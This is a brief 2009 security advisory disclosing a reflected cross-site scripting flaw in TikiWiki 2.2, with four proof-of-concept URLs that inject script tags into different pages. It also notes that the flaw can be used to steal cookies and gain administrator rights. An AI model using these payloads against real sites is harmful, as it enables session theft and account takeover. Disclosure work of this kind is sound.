Application: TikiWiki Version: 2.2 (latest) Website: www.tikiwiki.org Bug: Active XSS in URI Exploitation: Remote Date: 12 Mar 2009 Discovered by: iliz Author: iliz Contact: e-mail: iliz-z(at)yandex(dot)ru Bug Description: TikiWiki version 2.2 and later uses URI in html response body and fails to sanitize it. Is therefore prune to Active XSS attack. PROOF OF CONCEPT: /tiki-galleries.php/>"><Script>alert(1)</scRipt> /tiki-list_file_gallery.php/>"><Script>alert(2)</scRipt> /tiki-listpages.php/>"><Script>alert(3)</scRipt> /tiki-orphan_pages.php/>"><Script>alert(4)</scRipt> The javascript code will be executed in the context of the victim's browser, this can be exploited to steal cookies and escalate privileges to administrator. Tested with TikiWiki 2.2, Apache 2.2, Mozilla Firefox 3.0.6, InternetExplorer 7, Opera 9.65